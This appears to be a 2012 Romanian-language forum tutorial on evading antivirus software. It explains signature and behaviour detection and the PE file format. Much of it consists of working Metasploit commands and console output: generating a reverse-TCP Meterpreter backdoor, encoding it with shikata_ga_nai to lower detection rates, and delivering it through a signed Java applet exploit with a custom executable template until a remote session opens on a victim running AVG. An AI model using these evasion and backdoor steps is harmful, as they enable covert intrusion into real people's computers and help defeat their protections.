Wubi Posted August 6, 2012 Report Posted August 6, 2012 (edited) Nu e o o noutate intrebarea "Cum sa eviti un antivirus?". Userii noi(script-kiddies) sunt nerabdatori sa invete caile prin care sa`si puna keylogger-ele, stealer-ele si RAT-urile. Ma rog, sa presupunem ca o companie te`a angajat in a face o evaluare a vulnerabilitatii unei retele. Acestia iti vor da un "black box", o "cutie neagra" unde sa testezi, doar ca tu nu detii prea multe informatii despre retea. Daca ei folosesc o solutie anti-virus pe acea retea, cand vei incerca sa faci un test, sistemul antivirus il va opri. Asta inseamna ca primul obstacol este evitarea anti-virusului. Este usor sa vorbim de o unealta care poate ascunde orice fisier din "ochii" antivirusului, dar cred ca va fi mult mai eficient sa intelegi povestea din spatele uneltei. Asta vreau sa acoper in topic-ul asta:Cum functioneaza Anti-virusul Care sunt caile, (tehnicile) de evitare a unui Anti-virus Un tutorial Metasploit pentru a evita un anti-virus Cum functioneaza Anti-virusulEste foarte important sa discutam mecanismul prin care functioneaza anti-virusul, deoarece daca nu sti cum functioneaza un anti-virus sau cum acesta iti detecteaza virusul, iti vei limita abilitatea sa eviti sau sa pacalesti anti-virusul. Sunt multe compani care isi creaza anti-virusii in propriul lor mod, dar ambele impart acelasi mod de detectare a unui virus:Detectarea pe baza semnaturii Comportament suspicios Detectarea pe baza de semnatura este cel mai comun, si cea mai folosita tehnica. Un sistem antivirus compara continutul fisierului cu baza lui de date. Partea urata, poate detecta doar virusii cunoscuti. Cealalta metoda este bazata pe monitorizarea activitatii suspicioase. Prin aceasta tehnica antivirusul observa continuu(in timp real) comportamentul unui fisier. Daca orice fisier se suprascrie pe el insusi, si fura date fara permisiunea utilizatorului, atunci acel fisier este tratat ca fiind virus.ExempluSa presupunem sa avem instalat un anti-virus in computer. Cand iti conectezi USB-ul, sunt doua optiuni:Anti-virusul va detecta automat virusii (bazat pe activitati suspicioase) Vei porni o scanare pe USB si anti-virusul va gasi virusi (Detectarea pe baza semnaturii) Astfel lucreaza anti-virusul.Va trebui sa discutam despre format-ul fisierului. PE, sau portable executive (executiv portabil) este formatul implicit al fisierului pentru windows binary. Multi dintre virusi si malware se ascund in PE. Probabil te intrebi care este structura unui fisier PE si cum citeste antivirusul semnatura.+-------------------------------------+ | DOS-stub | +-------------------------------------+ |antet-ul(header-ul) fisierului PE | +-------------------------------------+ | header optional | |- - - - - - - - - -- - - - - - - - - | | | | directoarele de date | | | +-------------------------------------+ | | | imagine de pagini | | | +-------------------------------------+ | | | sectiunea tabelelor | | | +-------------------------------------+ | | | sectiunea 1 | | | +-------------------------------------+ | | | ... | | | +-------------------------------------+ | | | sectiunea n | | | +-------------------------------------+Asta este structura tipica a unui fisier PE. Fiecare sectiune poate fi divizata(impartita) in mai multe sub-sectiuni. Antetul(headerul) este cea mai importanta sectiune, aceasta contine:Bytii semnaturii Data si ora Imaginea de baza si dimensiunea imaginii Dimensiunea stack reverse Tabelul debug Tabelul Fixup Tabelul de securitate etc Deci antetul fisierului PE este cel ce contine semnatura si alte valori importante ale oricarui fisier executabil. In semnatura fisierului, primul numar de obicei reprezinta tipul microprocesorului. Microprocesorul tipic este 16-bit, 32-bit, si 64-bit. De exemplu, procesorul 80386 are valoarea, 0x14c.Sa luam un exemplu al unui backdoor netcat listener, ce are atasat cmd pe port 99 pentru conectarea cu serverul. Facand o mica analiza, putem vedea ca semnatura este situata pe offset-ul E77E.Acum doar imagineaza`ti importanta semnaturii in orice fisier PE. Sunt destule tool-uri disponibile sa gasesti asta. Daca vrei sa eviti antivirsul atunci va fi nevoie sa modifici semnatura pentru ca antivirusul sa`l trateze ca pe un fisier normal.Mai jos sunt niste utilitati bazate pe netcat ce au abilitatea sa evite anti-virusul.Cryptcat Project: This is an advanced utility based on netcat and one that uses an encryption technique with the ports of Windows, BSD and Linux. MOCAT backdoor: This one is based on the cryptcat project and works on client and server phenomena, meaning it has two executables: one for windows and the other for Linux. All communications of MOCAT are encrypted. Ncat : Ncat is a wonderful tool that has been designed by the nmap community. It works on both TCP and UDP ports and on Ipv4 as well as Ipv6. Evitarea unui Anti-Virus - Tutorial MetasploitPrima parte in discutia noastra s`a concentrat asupra importantei encodarii pentru a evita un anti-virus. Metasploit este o unealta superba cu multe encodere pentru a evita antivirus-urile. Unele dintre encodere sunt bazate pe cod polymorphic (polymorphic virus). Codul Polymorphic schimba semnatura de fiecare data cand infecteaza un fisier nou.Shikata_ga_nai pare a fi cel mai bun encoder pentru un virus. Fisierul tau evita cu usurinta majoritatea anti-virusurilor. Cea mai buna combinatie sa eviti aproape 85 % din anti-virusi este:Shikata encoding de 5 ori Alpha_Upper encoding de 2 ori Shikata encoding de 5 ori Countdown encoding de 5 ori In comformitate cu toolkit-ul social engineering, shikata_ga_nai este un foarte bun encoder:Poti gasi o lista cu encoderele disponibile din metasploit, urmand comenzile de mai jos.Exemplu fara encoderPrima demonstratie a fost facuta fara vreun encoder. In cea de`a doua, voi folosi cel mai bun encoder, dupa care vom compara rezultatele celor doua. Primul pas in generarea unui backdoor:root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=1337 X > /root/Desktop/wubi.exeCreated by msfpayload (http://www.metasploit.com).Payload: windows/meterpreter/reverse_tcp Length: 290Options: {"LHOST"=>"IP", "LPORT"=>"1337"}root@bt:~# Dupa cum vezi, majoritatea anti-virusurilor au detectat ceva malware in fisier, detection ratio 28 / 40.Exemplu cu EncoderIn acest exemplu voi folosi un encoder ce ii va permite backdoor-ului sa evite antivirusurile. Sa incepem: root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=1337 X | msfencode -c 1 -e x86/shikata_ga_nai > /root/Desktop/wubi_enc.exeCreated by msfpayload (http://www.metasploit.com).Payload: windows/meterpreter/reverse_tcp Length: 290Options: {"LHOST"=>"IP", "LPORT"=>"1337"}[*] x86/shikata_ga_nai succeeded with size 73831 (iteration=1)root@bt:~# Acum cred ca puteti vedea diferenta dintre cele doua fisiere. wubi.exe(fara encoder) / wubi_enc.exe(cu encoder)Evitarea unui Anti-virus in timpul exploatariiAcum luand in considerare cealalta poza: acele exploit-uri automatice intampina ceva probleme cand, prin intermediul unui sistem vulnerabil tu esti capabil sa preiei controlul asupra lui, dar un antivirus este pornit si poate atunci sa devina suparator. Un alt exemplu:msf > use exploit/multi/browser/java_signed_applet msf exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(java_signed_applet) > set LHOST IP LHOST => IP msf exploit(java_signed_applet) > exploit [*] Exploit running as background job. [*] Started reverse handler on IP:4444[*] Using URL: http://0.0.0.0:8080/bOX4eN [*] Local IP: http://IP:8080/bOX4eN [*] Server started. msf exploit(java_signed_applet) > [*] Handling request from IP:39663... [*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'... [*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'... [*] Generated executable to drop (37888 bytes). [*] Compiling applet classes... [*] Compile completed. Building jar file... [*] Jar built. Signing... [*] Jar signed. Ready to send.Sistemul victimei este Windows, si are pornit antivirusul(AVG), dar acesta nu da nicio sesiune. Chiar daca victima este vulnerabila, atacatorul va esua, din pricina antivirusului.Acum, voi schimba putin scenariul: metasploit foloseste un template.exe implicit pentru generarea executivelor, si pentru a evita un antivirus, avem nevoie sa folosim un executiv windows personalizat.Dar despre telnet? Ce port-uri sunt disponibile pentru o conexiune RDP? Pstools este o resursa minunata de toolkit-uri. PsExec se regaseste printre aceste tool-uri. Este o utilitara ce iti permite sa executi programe pe sisteme la distanta:msf exploit(java_signed_applet) > set Template /tmp/pstools/psexec.exe Template => /tmp/pstools/psexec.exe msf exploit(java_signed_applet) > exploit[*] Exploit running as background job. [*] Started reverse handler on IP:4444 [*] Using URL: http://0.0.0.0:8080/bOX4eN [*] Local IP: http://IP:8080/bOX4eN [*] Server started. msf exploit(java_signed_applet) > [*] Handling request from IP:39663... [*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'... [*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'... [*] Generated executable to drop (37888 bytes). [*] Compiling applet classes... [*] Compile completed. Building jar file... [*] Jar built. Signing... [*] Jar signed. Ready to send. [*] Sending stage (748032 bytes) to IP[*] Meterpreter session 1 opened (IP:4444 -> IP:5807) msf exploit(java_signed_applet) > sessions -i 1 [*] Starting interaction with 1...ConcluzieSunt cateva tutoriale si tehnici foarte bune pentru a evita un antivirus. Printe acestea sunt ceva cryptere, wrappere si alte unelte ce se gasesc pe internet publucului. Dar descarcarea acestor fisiere de la surse nesigure sau necunoscute poate fi periculos. Unii oameni folosesc aceste tehnici sa ia avantaje din partea celor inocenti, deci atunci cand descarci si instalezi orice fel de fisier, pastreaza in minte faptul ca acolo este o sansa ca sistemul tau sa fie in pericol pentru tot felul de malware si backdoor-uri.Ultima dar nu cea din urma, niciodata sa nu te increzi in surse necunoscute. Una peste alta, vei deveni urmatoarea victima, chiar daca ai un anti-virus sau nu. Acum ca ai vazut cat de usor este sa`l eviti.ReferinteBackTrack Linux - Penetration Testing DistributionMetasploit Penetration Testing Software | Metasploit Framework | Metasploit Project InfoSec Resources Edited February 14, 2013 by Wubi Quote